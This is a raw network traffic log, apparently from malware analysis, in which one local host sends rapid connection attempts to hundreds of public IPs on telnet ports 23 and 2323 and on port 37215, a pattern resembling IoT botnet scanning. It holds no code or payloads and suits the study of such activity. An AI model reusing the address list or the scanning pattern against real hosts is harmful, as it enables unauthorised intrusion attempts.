Jul 26, 2024 17:42:01.347007036 CEST	13638	23	192.168.2.15	18.49.196.187
Jul 26, 2024 17:42:01.347007036 CEST	13638	23	192.168.2.15	45.142.165.233
Jul 26, 2024 17:42:01.347011089 CEST	13638	23	192.168.2.15	159.167.170.170
Jul 26, 2024 17:42:01.347011089 CEST	13638	23	192.168.2.15	23.171.202.116
Jul 26, 2024 17:42:01.347018003 CEST	13638	23	192.168.2.15	116.117.92.1
Jul 26, 2024 17:42:01.347021103 CEST	13638	23	192.168.2.15	140.5.253.95
Jul 26, 2024 17:42:01.347021103 CEST	13638	2323	192.168.2.15	168.230.146.76
Jul 26, 2024 17:42:01.347024918 CEST	13638	23	192.168.2.15	135.94.19.180
Jul 26, 2024 17:42:01.347024918 CEST	13638	23	192.168.2.15	154.164.8.242
Jul 26, 2024 17:42:01.347024918 CEST	13638	23	192.168.2.15	143.143.161.118
Jul 26, 2024 17:42:01.347024918 CEST	13638	23	192.168.2.15	128.190.116.4
Jul 26, 2024 17:42:01.347024918 CEST	13638	23	192.168.2.15	4.198.141.12
Jul 26, 2024 17:42:01.347024918 CEST	13638	23	192.168.2.15	179.22.59.134
Jul 26, 2024 17:42:01.347028971 CEST	13638	23	192.168.2.15	150.73.74.210
Jul 26, 2024 17:42:01.347038984 CEST	13638	23	192.168.2.15	197.160.137.57
Jul 26, 2024 17:42:01.347038984 CEST	13638	2323	192.168.2.15	138.2.54.74
Jul 26, 2024 17:42:01.347038984 CEST	13638	23	192.168.2.15	32.127.17.168
Jul 26, 2024 17:42:01.347040892 CEST	13638	23	192.168.2.15	158.56.172.199
Jul 26, 2024 17:42:01.347038984 CEST	13638	23	192.168.2.15	150.36.232.234
Jul 26, 2024 17:42:01.347059965 CEST	13638	23	192.168.2.15	124.84.78.70
Jul 26, 2024 17:42:01.347059965 CEST	13638	23	192.168.2.15	9.145.240.237
Jul 26, 2024 17:42:01.347068071 CEST	13638	23	192.168.2.15	18.52.35.82
Jul 26, 2024 17:42:01.347068071 CEST	13638	2323	192.168.2.15	124.1.165.191
Jul 26, 2024 17:42:01.347075939 CEST	13638	23	192.168.2.15	46.157.107.196
Jul 26, 2024 17:42:01.347093105 CEST	13638	23	192.168.2.15	115.178.43.124
Jul 26, 2024 17:42:01.347093105 CEST	13638	23	192.168.2.15	95.247.149.65
Jul 26, 2024 17:42:01.347095013 CEST	13638	23	192.168.2.15	179.242.51.106
Jul 26, 2024 17:42:01.347105026 CEST	13638	23	192.168.2.15	95.111.228.5
Jul 26, 2024 17:42:01.347106934 CEST	13638	2323	192.168.2.15	140.192.82.74
Jul 26, 2024 17:42:01.347109079 CEST	13638	23	192.168.2.15	185.168.221.236
Jul 26, 2024 17:42:01.347109079 CEST	13638	23	192.168.2.15	17.97.94.26
Jul 26, 2024 17:42:01.347109079 CEST	13638	23	192.168.2.15	155.225.163.201
Jul 26, 2024 17:42:01.347109079 CEST	13638	23	192.168.2.15	175.31.16.229
Jul 26, 2024 17:42:01.347109079 CEST	13638	23	192.168.2.15	175.9.51.208
Jul 26, 2024 17:42:01.347109079 CEST	13638	23	192.168.2.15	9.166.255.103
Jul 26, 2024 17:42:01.347115993 CEST	13638	23	192.168.2.15	63.183.23.130
Jul 26, 2024 17:42:01.347124100 CEST	13638	23	192.168.2.15	130.251.254.191
Jul 26, 2024 17:42:01.347132921 CEST	13638	23	192.168.2.15	153.32.90.113
Jul 26, 2024 17:42:01.347134113 CEST	13638	23	192.168.2.15	69.25.131.85
Jul 26, 2024 17:42:01.347136021 CEST	13638	23	192.168.2.15	136.24.156.171
Jul 26, 2024 17:42:01.347141981 CEST	13638	23	192.168.2.15	110.18.199.94
Jul 26, 2024 17:42:01.347148895 CEST	13638	23	192.168.2.15	175.60.99.13
Jul 26, 2024 17:42:01.347148895 CEST	13638	2323	192.168.2.15	172.64.89.176
Jul 26, 2024 17:42:01.347167015 CEST	13638	23	192.168.2.15	45.174.148.71
Jul 26, 2024 17:42:01.347167015 CEST	13638	23	192.168.2.15	9.214.55.197
Jul 26, 2024 17:42:01.347177029 CEST	13638	23	192.168.2.15	87.193.182.250
Jul 26, 2024 17:42:01.347177029 CEST	13638	23	192.168.2.15	171.123.89.104
Jul 26, 2024 17:42:01.347177029 CEST	13638	23	192.168.2.15	218.173.13.57
Jul 26, 2024 17:42:01.347192049 CEST	13638	23	192.168.2.15	90.68.58.243
Jul 26, 2024 17:42:01.347192049 CEST	13638	23	192.168.2.15	57.206.3.146
Jul 26, 2024 17:42:01.347203970 CEST	13638	23	192.168.2.15	32.131.109.6
Jul 26, 2024 17:42:01.347203970 CEST	13638	23	192.168.2.15	65.249.153.137
Jul 26, 2024 17:42:01.347208977 CEST	13638	2323	192.168.2.15	174.91.70.127
Jul 26, 2024 17:42:01.347208977 CEST	13638	23	192.168.2.15	2.91.240.213
Jul 26, 2024 17:42:01.347208977 CEST	13638	23	192.168.2.15	219.60.142.14
Jul 26, 2024 17:42:01.347209930 CEST	13638	23	192.168.2.15	43.120.176.222
Jul 26, 2024 17:42:01.347213984 CEST	13638	23	192.168.2.15	123.161.130.179
Jul 26, 2024 17:42:01.347213984 CEST	13638	23	192.168.2.15	131.178.46.224
Jul 26, 2024 17:42:01.347213984 CEST	13638	23	192.168.2.15	130.141.171.113
Jul 26, 2024 17:42:01.347213984 CEST	13638	23	192.168.2.15	17.121.194.73
Jul 26, 2024 17:42:01.347224951 CEST	13638	23	192.168.2.15	80.240.211.116
Jul 26, 2024 17:42:01.347224951 CEST	13638	23	192.168.2.15	50.203.94.186
Jul 26, 2024 17:42:01.347227097 CEST	13638	23	192.168.2.15	151.144.97.162
Jul 26, 2024 17:42:01.347227097 CEST	13638	23	192.168.2.15	146.242.219.175
Jul 26, 2024 17:42:01.347234964 CEST	13638	2323	192.168.2.15	59.249.250.117
Jul 26, 2024 17:42:01.347243071 CEST	13638	23	192.168.2.15	223.161.15.128
Jul 26, 2024 17:42:01.347244978 CEST	13638	23	192.168.2.15	126.246.130.51
Jul 26, 2024 17:42:01.347244978 CEST	13638	23	192.168.2.15	74.201.120.126
Jul 26, 2024 17:42:01.347253084 CEST	13638	23	192.168.2.15	219.1.71.218
Jul 26, 2024 17:42:01.347264051 CEST	13638	23	192.168.2.15	84.101.48.40
Jul 26, 2024 17:42:01.347264051 CEST	13638	23	192.168.2.15	189.251.115.197
Jul 26, 2024 17:42:01.347270966 CEST	13638	23	192.168.2.15	204.233.72.211
Jul 26, 2024 17:42:01.347270966 CEST	13638	23	192.168.2.15	74.28.148.150
Jul 26, 2024 17:42:01.347270966 CEST	13638	2323	192.168.2.15	88.245.39.242
Jul 26, 2024 17:42:01.347270966 CEST	13638	23	192.168.2.15	219.6.207.81
Jul 26, 2024 17:42:01.347270966 CEST	13638	23	192.168.2.15	146.154.164.174
Jul 26, 2024 17:42:01.347286940 CEST	13638	23	192.168.2.15	188.168.136.133
Jul 26, 2024 17:42:01.347300053 CEST	13638	23	192.168.2.15	122.90.255.116
Jul 26, 2024 17:42:01.347316980 CEST	13638	23	192.168.2.15	117.67.33.215
Jul 26, 2024 17:42:01.347316980 CEST	13638	23	192.168.2.15	139.59.192.95
Jul 26, 2024 17:42:01.347322941 CEST	13638	23	192.168.2.15	186.111.228.248
Jul 26, 2024 17:42:01.347322941 CEST	13638	23	192.168.2.15	144.97.166.114
Jul 26, 2024 17:42:01.347322941 CEST	13638	23	192.168.2.15	67.20.52.237
Jul 26, 2024 17:42:01.347328901 CEST	13638	23	192.168.2.15	62.99.231.162
Jul 26, 2024 17:42:01.347328901 CEST	13638	23	192.168.2.15	8.167.227.208
Jul 26, 2024 17:42:01.347332001 CEST	13638	23	192.168.2.15	217.118.75.168
Jul 26, 2024 17:42:01.347332001 CEST	13638	23	192.168.2.15	193.80.247.137
Jul 26, 2024 17:42:01.347351074 CEST	13638	2323	192.168.2.15	143.157.155.48
Jul 26, 2024 17:42:01.347351074 CEST	13638	23	192.168.2.15	61.47.97.215
Jul 26, 2024 17:42:01.347351074 CEST	13638	23	192.168.2.15	68.146.131.152
Jul 26, 2024 17:42:01.347351074 CEST	13638	23	192.168.2.15	58.233.174.48
Jul 26, 2024 17:42:01.347351074 CEST	13638	23	192.168.2.15	143.171.96.4
Jul 26, 2024 17:42:01.347352028 CEST	13638	23	192.168.2.15	129.236.12.138
Jul 26, 2024 17:42:01.347351074 CEST	13638	23	192.168.2.15	168.130.22.186
Jul 26, 2024 17:42:01.347352028 CEST	13638	23	192.168.2.15	210.119.119.186
Jul 26, 2024 17:42:01.347361088 CEST	13638	23	192.168.2.15	96.25.226.11
Jul 26, 2024 17:42:01.347361088 CEST	13638	23	192.168.2.15	124.127.222.241
Jul 26, 2024 17:42:01.347366095 CEST	13638	23	192.168.2.15	210.90.83.241
Jul 26, 2024 17:42:01.347383976 CEST	13638	23	192.168.2.15	129.184.11.106
Jul 26, 2024 17:42:01.347384930 CEST	13638	23	192.168.2.15	106.165.99.93
Jul 26, 2024 17:42:01.347383976 CEST	13638	2323	192.168.2.15	105.131.22.248
Jul 26, 2024 17:42:01.347384930 CEST	13638	23	192.168.2.15	223.224.3.44
Jul 26, 2024 17:42:01.347383976 CEST	13638	23	192.168.2.15	132.131.142.46
Jul 26, 2024 17:42:01.347388983 CEST	13638	23	192.168.2.15	5.210.115.102
Jul 26, 2024 17:42:01.347388983 CEST	13638	23	192.168.2.15	64.62.222.84
Jul 26, 2024 17:42:01.347388983 CEST	13638	23	192.168.2.15	216.30.227.171
Jul 26, 2024 17:42:01.347388983 CEST	13638	23	192.168.2.15	124.9.98.221
Jul 26, 2024 17:42:01.347388983 CEST	13638	2323	192.168.2.15	197.176.114.236
Jul 26, 2024 17:42:01.347397089 CEST	13638	23	192.168.2.15	111.54.83.136
Jul 26, 2024 17:42:01.347397089 CEST	13638	23	192.168.2.15	40.17.150.165
Jul 26, 2024 17:42:01.347407103 CEST	13638	23	192.168.2.15	53.215.97.54
Jul 26, 2024 17:42:01.347409010 CEST	13638	23	192.168.2.15	44.59.60.45
Jul 26, 2024 17:42:01.347413063 CEST	13638	23	192.168.2.15	207.136.96.32
Jul 26, 2024 17:42:01.347420931 CEST	13638	23	192.168.2.15	219.122.161.189
Jul 26, 2024 17:42:01.347426891 CEST	13638	2323	192.168.2.15	208.221.219.161
Jul 26, 2024 17:42:01.347429991 CEST	13638	23	192.168.2.15	79.113.12.226
Jul 26, 2024 17:42:01.347440958 CEST	13638	23	192.168.2.15	128.88.141.88
Jul 26, 2024 17:42:01.347440958 CEST	13638	23	192.168.2.15	49.57.141.230
Jul 26, 2024 17:42:01.347440958 CEST	13638	23	192.168.2.15	168.219.44.229
Jul 26, 2024 17:42:01.347440958 CEST	13638	23	192.168.2.15	163.173.176.121
Jul 26, 2024 17:42:01.347459078 CEST	13638	23	192.168.2.15	69.114.39.224
Jul 26, 2024 17:42:01.347459078 CEST	13638	23	192.168.2.15	221.129.123.54
Jul 26, 2024 17:42:01.347459078 CEST	13638	23	192.168.2.15	43.94.236.206
Jul 26, 2024 17:42:01.347459078 CEST	13638	23	192.168.2.15	140.145.113.166
Jul 26, 2024 17:42:01.347462893 CEST	13638	23	192.168.2.15	121.54.1.30
Jul 26, 2024 17:42:01.347462893 CEST	13638	23	192.168.2.15	84.226.146.123
Jul 26, 2024 17:42:01.347465992 CEST	13638	23	192.168.2.15	143.16.148.193
Jul 26, 2024 17:42:01.347465992 CEST	13638	23	192.168.2.15	53.135.128.134
Jul 26, 2024 17:42:01.347481966 CEST	13638	23	192.168.2.15	113.182.164.142
Jul 26, 2024 17:42:01.347485065 CEST	13638	23	192.168.2.15	170.20.243.220
Jul 26, 2024 17:42:01.347485065 CEST	13638	23	192.168.2.15	218.62.2.132
Jul 26, 2024 17:42:01.347486973 CEST	13638	2323	192.168.2.15	218.231.234.24
Jul 26, 2024 17:42:01.347489119 CEST	13638	2323	192.168.2.15	156.196.100.153
Jul 26, 2024 17:42:01.347489119 CEST	13638	23	192.168.2.15	20.89.24.233
Jul 26, 2024 17:42:01.347497940 CEST	13638	23	192.168.2.15	54.234.247.211
Jul 26, 2024 17:42:01.347497940 CEST	13638	23	192.168.2.15	17.182.123.7
Jul 26, 2024 17:42:01.347510099 CEST	13638	23	192.168.2.15	104.168.2.173
Jul 26, 2024 17:42:01.347511053 CEST	13638	23	192.168.2.15	23.203.39.4
Jul 26, 2024 17:42:01.347517967 CEST	13638	23	192.168.2.15	206.175.151.223
Jul 26, 2024 17:42:01.347517967 CEST	13638	23	192.168.2.15	121.9.54.106
Jul 26, 2024 17:42:01.347523928 CEST	13638	23	192.168.2.15	2.35.60.252
Jul 26, 2024 17:42:01.347523928 CEST	13638	23	192.168.2.15	93.133.211.191
Jul 26, 2024 17:42:01.347523928 CEST	13638	23	192.168.2.15	62.17.235.81
Jul 26, 2024 17:42:01.347532988 CEST	13638	2323	192.168.2.15	106.24.249.36
Jul 26, 2024 17:42:01.347532988 CEST	13638	23	192.168.2.15	161.18.166.97
Jul 26, 2024 17:42:01.347537041 CEST	13638	23	192.168.2.15	221.162.92.52
Jul 26, 2024 17:42:01.347548962 CEST	13638	23	192.168.2.15	168.109.102.62
Jul 26, 2024 17:42:01.347564936 CEST	13638	23	192.168.2.15	149.102.194.140
Jul 26, 2024 17:42:01.347568035 CEST	13638	23	192.168.2.15	193.172.194.239
Jul 26, 2024 17:42:01.347584009 CEST	13638	23	192.168.2.15	136.37.106.183
Jul 26, 2024 17:42:01.347584009 CEST	13638	23	192.168.2.15	104.56.163.24
Jul 26, 2024 17:42:01.347584963 CEST	13638	23	192.168.2.15	86.187.36.67
Jul 26, 2024 17:42:01.347584963 CEST	13638	23	192.168.2.15	45.36.185.18
Jul 26, 2024 17:42:01.347599030 CEST	13638	23	192.168.2.15	114.88.200.247
Jul 26, 2024 17:42:01.347605944 CEST	13638	23	192.168.2.15	122.119.224.209
Jul 26, 2024 17:42:01.347605944 CEST	13638	23	192.168.2.15	151.88.131.95
Jul 26, 2024 17:42:01.347605944 CEST	13638	23	192.168.2.15	84.166.167.222
Jul 26, 2024 17:42:01.347609043 CEST	13638	23	192.168.2.15	142.188.48.38
Jul 26, 2024 17:42:01.347615004 CEST	13638	23	192.168.2.15	102.173.121.204
Jul 26, 2024 17:42:01.347615004 CEST	13638	2323	192.168.2.15	173.64.58.167
Jul 26, 2024 17:42:01.347615004 CEST	13638	23	192.168.2.15	187.187.134.198
Jul 26, 2024 17:42:01.347618103 CEST	13638	23	192.168.2.15	183.81.148.64
Jul 26, 2024 17:42:01.347620010 CEST	13638	23	192.168.2.15	47.75.187.133
Jul 26, 2024 17:42:01.347620964 CEST	13638	23	192.168.2.15	121.212.246.240
Jul 26, 2024 17:42:01.347620964 CEST	13638	23	192.168.2.15	126.178.108.0
Jul 26, 2024 17:42:01.347620964 CEST	13638	2323	192.168.2.15	206.114.233.25
Jul 26, 2024 17:42:01.347620964 CEST	13638	23	192.168.2.15	114.197.6.251
Jul 26, 2024 17:42:01.347620964 CEST	13638	23	192.168.2.15	109.189.66.10
Jul 26, 2024 17:42:01.347620964 CEST	13638	23	192.168.2.15	177.153.35.214
Jul 26, 2024 17:42:01.347620964 CEST	13638	23	192.168.2.15	178.134.214.3
Jul 26, 2024 17:42:01.347623110 CEST	13638	23	192.168.2.15	121.190.107.23
Jul 26, 2024 17:42:01.347629070 CEST	13638	23	192.168.2.15	130.19.155.57
Jul 26, 2024 17:42:01.347640038 CEST	13638	23	192.168.2.15	117.142.26.223
Jul 26, 2024 17:42:01.347642899 CEST	13638	2323	192.168.2.15	24.123.51.191
Jul 26, 2024 17:42:01.347644091 CEST	13638	23	192.168.2.15	141.49.229.189
Jul 26, 2024 17:42:01.347649097 CEST	13638	23	192.168.2.15	197.31.85.14
Jul 26, 2024 17:42:01.347649097 CEST	13638	23	192.168.2.15	181.160.232.205
Jul 26, 2024 17:42:01.347664118 CEST	13638	23	192.168.2.15	108.39.124.228
Jul 26, 2024 17:42:01.347664118 CEST	13638	23	192.168.2.15	183.123.187.201
Jul 26, 2024 17:42:01.347664118 CEST	13638	2323	192.168.2.15	88.210.47.71
Jul 26, 2024 17:42:01.347672939 CEST	13638	23	192.168.2.15	148.71.194.45
Jul 26, 2024 17:42:01.347697973 CEST	13638	23	192.168.2.15	117.239.80.23
Jul 26, 2024 17:42:01.347700119 CEST	13638	23	192.168.2.15	200.75.214.4
Jul 26, 2024 17:42:01.347719908 CEST	13638	2323	192.168.2.15	8.157.4.131
Jul 26, 2024 17:42:01.347719908 CEST	13638	23	192.168.2.15	161.212.211.11
Jul 26, 2024 17:42:01.347723007 CEST	13638	23	192.168.2.15	159.203.136.187
Jul 26, 2024 17:42:01.347726107 CEST	13638	23	192.168.2.15	100.224.178.139
Jul 26, 2024 17:42:01.347728968 CEST	13638	23	192.168.2.15	115.213.173.44
Jul 26, 2024 17:42:01.347728968 CEST	13638	23	192.168.2.15	202.164.167.103
Jul 26, 2024 17:42:01.347728968 CEST	13638	23	192.168.2.15	38.150.16.2
Jul 26, 2024 17:42:01.347733021 CEST	13638	23	192.168.2.15	147.42.233.13
Jul 26, 2024 17:42:01.347749949 CEST	13638	23	192.168.2.15	185.233.18.39
Jul 26, 2024 17:42:01.347749949 CEST	13638	23	192.168.2.15	133.74.235.192
Jul 26, 2024 17:42:01.347749949 CEST	13638	23	192.168.2.15	203.234.29.171
Jul 26, 2024 17:42:01.347749949 CEST	13638	23	192.168.2.15	131.197.110.237
Jul 26, 2024 17:42:01.347754955 CEST	13638	23	192.168.2.15	205.95.222.31
Jul 26, 2024 17:42:01.347760916 CEST	13638	23	192.168.2.15	35.96.94.181
Jul 26, 2024 17:42:01.347760916 CEST	13638	23	192.168.2.15	1.211.244.87
Jul 26, 2024 17:42:01.347764015 CEST	13638	2323	192.168.2.15	176.238.17.38
Jul 26, 2024 17:42:01.347764015 CEST	13638	23	192.168.2.15	165.211.226.14
Jul 26, 2024 17:42:01.347763062 CEST	13638	23	192.168.2.15	42.35.186.80
Jul 26, 2024 17:42:01.347763062 CEST	13638	23	192.168.2.15	20.163.85.105
Jul 26, 2024 17:42:01.347764015 CEST	13638	23	192.168.2.15	180.205.228.112
Jul 26, 2024 17:42:01.347764015 CEST	13638	23	192.168.2.15	119.88.190.100
Jul 26, 2024 17:42:01.347764015 CEST	13638	23	192.168.2.15	159.6.185.249
Jul 26, 2024 17:42:01.347764015 CEST	13638	23	192.168.2.15	66.37.137.207
Jul 26, 2024 17:42:01.347769976 CEST	13638	23	192.168.2.15	176.211.71.29
Jul 26, 2024 17:42:01.347769976 CEST	13638	23	192.168.2.15	90.20.135.79
Jul 26, 2024 17:42:01.347774982 CEST	13638	23	192.168.2.15	24.198.187.199
Jul 26, 2024 17:42:01.347778082 CEST	13638	23	192.168.2.15	134.170.95.18
Jul 26, 2024 17:42:01.347778082 CEST	13638	23	192.168.2.15	81.81.174.250
Jul 26, 2024 17:42:01.347783089 CEST	13638	23	192.168.2.15	135.24.188.12
Jul 26, 2024 17:42:01.347786903 CEST	13638	23	192.168.2.15	169.105.123.152
Jul 26, 2024 17:42:01.347800970 CEST	13638	23	192.168.2.15	135.161.158.200
Jul 26, 2024 17:42:01.347800970 CEST	13638	23	192.168.2.15	187.80.69.134
Jul 26, 2024 17:42:01.347801924 CEST	13638	23	192.168.2.15	222.130.95.18
Jul 26, 2024 17:42:01.347805023 CEST	13638	2323	192.168.2.15	216.191.144.40
Jul 26, 2024 17:42:01.347806931 CEST	13638	23	192.168.2.15	186.13.80.232
Jul 26, 2024 17:42:01.347820044 CEST	13638	23	192.168.2.15	189.2.82.27
Jul 26, 2024 17:42:01.347820044 CEST	13638	23	192.168.2.15	116.20.230.96
Jul 26, 2024 17:42:01.347820997 CEST	13638	23	192.168.2.15	99.230.44.19
Jul 26, 2024 17:42:01.347826958 CEST	13638	23	192.168.2.15	32.75.92.235
Jul 26, 2024 17:42:01.347826958 CEST	13638	23	192.168.2.15	13.192.6.80
Jul 26, 2024 17:42:01.347920895 CEST	13638	23	192.168.2.15	210.146.16.21
Jul 26, 2024 17:42:01.347920895 CEST	13638	2323	192.168.2.15	208.80.217.175
Jul 26, 2024 17:42:01.349148035 CEST	52306	2323	192.168.2.15	175.246.253.122
Jul 26, 2024 17:42:01.350625038 CEST	39876	37215	192.168.2.15	207.108.14.112
Jul 26, 2024 17:42:01.351664066 CEST	44298	23	192.168.2.15	101.73.197.120
Jul 26, 2024 17:42:01.354290962 CEST	49866	37215	192.168.2.15	157.227.157.81
Jul 26, 2024 17:42:01.355163097 CEST	52274	23	192.168.2.15	179.115.151.122
Jul 26, 2024 17:42:01.356764078 CEST	38516	37215	192.168.2.15	157.134.10.99
Jul 26, 2024 17:42:01.357083082 CEST	58038	23	192.168.2.15	144.33.172.221
Jul 26, 2024 17:42:01.359236002 CEST	38494	37215	192.168.2.15	157.240.175.32
Jul 26, 2024 17:42:01.359534979 CEST	41548	23	192.168.2.15	204.185.152.10
Jul 26, 2024 17:42:01.361526012 CEST	34536	23	192.168.2.15	211.120.72.1
Jul 26, 2024 17:42:01.361989975 CEST	48448	37215	192.168.2.15	61.22.190.108
Jul 26, 2024 17:42:01.364187956 CEST	34182	23	192.168.2.15	194.120.113.180
Jul 26, 2024 17:42:01.364734888 CEST	43240	37215	192.168.2.15	157.99.99.134
Jul 26, 2024 17:42:01.366311073 CEST	46416	23	192.168.2.15	102.250.222.209
Jul 26, 2024 17:42:01.367537975 CEST	59960	37215	192.168.2.15	197.180.65.41
Jul 26, 2024 17:42:01.369044065 CEST	39986	23	192.168.2.15	80.29.133.232
Jul 26, 2024 17:42:01.370244980 CEST	55412	37215	192.168.2.15	157.144.55.235
Jul 26, 2024 17:42:01.372196913 CEST	36520	23	192.168.2.15	213.106.54.151
Jul 26, 2024 17:42:01.373924971 CEST	60248	37215	192.168.2.15	197.116.207.198
Jul 26, 2024 17:42:01.374866962 CEST	45772	2323	192.168.2.15	177.94.165.208
Jul 26, 2024 17:42:01.376775026 CEST	45972	37215	192.168.2.15	41.113.87.213
Jul 26, 2024 17:42:01.377054930 CEST	60844	23	192.168.2.15	138.154.141.246
Jul 26, 2024 17:42:01.379724026 CEST	55860	37215	192.168.2.15	41.167.142.160
Jul 26, 2024 17:42:01.379828930 CEST	60484	23	192.168.2.15	74.128.222.157
Jul 26, 2024 17:42:01.382082939 CEST	48012	23	192.168.2.15	19.215.203.161
Jul 26, 2024 17:42:01.382662058 CEST	35202	37215	192.168.2.15	197.174.75.69
Jul 26, 2024 17:42:01.385359049 CEST	48346	23	192.168.2.15	191.116.157.172
Jul 26, 2024 17:42:01.385981083 CEST	51354	37215	192.168.2.15	197.136.189.68
Jul 26, 2024 17:42:01.387676001 CEST	49388	23	192.168.2.15	103.187.206.74
Jul 26, 2024 17:42:01.389319897 CEST	51484	37215	192.168.2.15	197.130.107.44
Jul 26, 2024 17:42:01.390898943 CEST	58818	23	192.168.2.15	39.230.163.238
Jul 26, 2024 17:42:01.392168045 CEST	59772	37215	192.168.2.15	41.190.82.104
Jul 26, 2024 17:42:01.393368006 CEST	34440	23	192.168.2.15	107.228.148.188
Jul 26, 2024 17:42:01.395318985 CEST	47726	37215	192.168.2.15	157.131.83.80
Jul 26, 2024 17:42:01.396099091 CEST	42718	23	192.168.2.15	133.24.22.139
Jul 26, 2024 17:42:01.397852898 CEST	50092	37215	192.168.2.15	197.113.28.145
Jul 26, 2024 17:42:01.398219109 CEST	56638	23	192.168.2.15	130.94.117.27
Jul 26, 2024 17:42:01.398258924 CEST	37215	14150	197.177.157.229	192.168.2.15
Jul 26, 2024 17:42:01.398268938 CEST	37215	14150	138.241.88.106	192.168.2.15
Jul 26, 2024 17:42:01.398276091 CEST	37215	14150	38.159.80.31	192.168.2.15
Jul 26, 2024 17:42:01.398284912 CEST	37215	14150	41.5.202.237	192.168.2.15
Jul 26, 2024 17:42:01.398291111 CEST	37215	14150	41.81.168.186	192.168.2.15
Jul 26, 2024 17:42:01.398299932 CEST	37215	14150	41.7.187.58	192.168.2.15
Jul 26, 2024 17:42:01.398307085 CEST	37215	14150	197.59.103.218	192.168.2.15
Jul 26, 2024 17:42:01.398314953 CEST	37215	14150	41.0.76.25	192.168.2.15
Jul 26, 2024 17:42:01.398333073 CEST	14150	37215	192.168.2.15	41.7.187.58
Jul 26, 2024 17:42:01.398334026 CEST	14150	37215	192.168.2.15	41.0.76.25
Jul 26, 2024 17:42:01.398344994 CEST	14150	37215	192.168.2.15	41.81.168.186
Jul 26, 2024 17:42:01.398345947 CEST	14150	37215	192.168.2.15	197.59.103.218
Jul 26, 2024 17:42:01.398413897 CEST	14150	37215	192.168.2.15	138.241.88.106
Jul 26, 2024 17:42:01.398413897 CEST	14150	37215	192.168.2.15	38.159.80.31
Jul 26, 2024 17:42:01.398413897 CEST	14150	37215	192.168.2.15	41.5.202.237
Jul 26, 2024 17:42:01.398467064 CEST	37215	14150	197.102.69.152	192.168.2.15
Jul 26, 2024 17:42:01.398473978 CEST	37215	14150	41.111.174.14	192.168.2.15
Jul 26, 2024 17:42:01.398480892 CEST	37215	14150	157.29.60.137	192.168.2.15
Jul 26, 2024 17:42:01.398488998 CEST	37215	14150	162.78.194.150	192.168.2.15
Jul 26, 2024 17:42:01.398499012 CEST	37215	14150	157.242.102.120	192.168.2.15
Jul 26, 2024 17:42:01.398504019 CEST	14150	37215	192.168.2.15	197.102.69.152
Jul 26, 2024 17:42:01.398504019 CEST	14150	37215	192.168.2.15	157.29.60.137
Jul 26, 2024 17:42:01.398509979 CEST	14150	37215	192.168.2.15	41.111.174.14
Jul 26, 2024 17:42:01.398514986 CEST	37215	14150	157.247.151.221	192.168.2.15
Jul 26, 2024 17:42:01.398528099 CEST	14150	37215	192.168.2.15	162.78.194.150
Jul 26, 2024 17:42:01.398529053 CEST	14150	37215	192.168.2.15	157.242.102.120
Jul 26, 2024 17:42:01.398551941 CEST	14150	37215	192.168.2.15	157.247.151.221
Jul 26, 2024 17:42:01.398581982 CEST	14150	37215	192.168.2.15	197.177.157.229
Jul 26, 2024 17:42:01.398653030 CEST	37215	14150	197.58.42.18	192.168.2.15
Jul 26, 2024 17:42:01.398663044 CEST	37215	14150	41.126.155.133	192.168.2.15
Jul 26, 2024 17:42:01.398669958 CEST	37215	14150	41.171.191.115	192.168.2.15
Jul 26, 2024 17:42:01.398678064 CEST	37215	14150	41.142.186.15	192.168.2.15
Jul 26, 2024 17:42:01.398684978 CEST	37215	14150	144.69.50.41	192.168.2.15
Jul 26, 2024 17:42:01.398694992 CEST	37215	14150	197.252.66.81	192.168.2.15
Jul 26, 2024 17:42:01.398703098 CEST	37215	14150	157.220.150.128	192.168.2.15
Jul 26, 2024 17:42:01.398710012 CEST	37215	14150	197.168.251.157	192.168.2.15
Jul 26, 2024 17:42:01.398710966 CEST	14150	37215	192.168.2.15	41.126.155.133
Jul 26, 2024 17:42:01.398710966 CEST	14150	37215	192.168.2.15	41.142.186.15
Jul 26, 2024 17:42:01.398718119 CEST	37215	14150	41.198.242.180	192.168.2.15
Jul 26, 2024 17:42:01.398720026 CEST	14150	37215	192.168.2.15	197.58.42.18
Jul 26, 2024 17:42:01.398726940 CEST	37215	14150	197.144.27.199	192.168.2.15
Jul 26, 2024 17:42:01.398735046 CEST	14150	37215	192.168.2.15	157.220.150.128
Jul 26, 2024 17:42:01.398736954 CEST	37215	14150	51.108.41.208	192.168.2.15
Jul 26, 2024 17:42:01.398745060 CEST	37215	14150	135.178.80.154	192.168.2.15
Jul 26, 2024 17:42:01.398775101 CEST	14150	37215	192.168.2.15	135.178.80.154
Jul 26, 2024 17:42:01.398802996 CEST	14150	37215	192.168.2.15	197.144.27.199
Jul 26, 2024 17:42:01.398803949 CEST	14150	37215	192.168.2.15	197.252.66.81
Jul 26, 2024 17:42:01.398804903 CEST	14150	37215	192.168.2.15	41.171.191.115
Jul 26, 2024 17:42:01.398808002 CEST	14150	37215	192.168.2.15	144.69.50.41
Jul 26, 2024 17:42:01.398808002 CEST	14150	37215	192.168.2.15	197.168.251.157
Jul 26, 2024 17:42:01.398808002 CEST	14150	37215	192.168.2.15	41.198.242.180
Jul 26, 2024 17:42:01.398808002 CEST	14150	37215	192.168.2.15	51.108.41.208
Jul 26, 2024 17:42:01.399352074 CEST	37215	14150	197.103.38.94	192.168.2.15
Jul 26, 2024 17:42:01.399389982 CEST	14150	37215	192.168.2.15	197.103.38.94
Jul 26, 2024 17:42:01.399736881 CEST	37215	14150	41.179.125.65	192.168.2.15
Jul 26, 2024 17:42:01.399744987 CEST	37215	14150	197.86.231.52	192.168.2.15
Jul 26, 2024 17:42:01.399751902 CEST	37215	14150	73.197.53.164	192.168.2.15
Jul 26, 2024 17:42:01.399768114 CEST	14150	37215	192.168.2.15	41.179.125.65
Jul 26, 2024 17:42:01.399775028 CEST	14150	37215	192.168.2.15	197.86.231.52
Jul 26, 2024 17:42:01.399775028 CEST	14150	37215	192.168.2.15	73.197.53.164
Jul 26, 2024 17:42:01.399842978 CEST	37215	14150	157.205.241.136	192.168.2.15
Jul 26, 2024 17:42:01.399851084 CEST	37215	14150	197.6.156.37	192.168.2.15
Jul 26, 2024 17:42:01.399853945 CEST	37215	14150	157.191.171.195	192.168.2.15
Jul 26, 2024 17:42:01.399859905 CEST	37215	14150	157.133.25.221	192.168.2.15
Jul 26, 2024 17:42:01.399868011 CEST	37215	14150	41.14.143.13	192.168.2.15
Jul 26, 2024 17:42:01.399878979 CEST	37215	14150	41.86.227.89	192.168.2.15
Jul 26, 2024 17:42:01.399883032 CEST	14150	37215	192.168.2.15	157.205.241.136
Jul 26, 2024 17:42:01.399883032 CEST	14150	37215	192.168.2.15	157.133.25.221
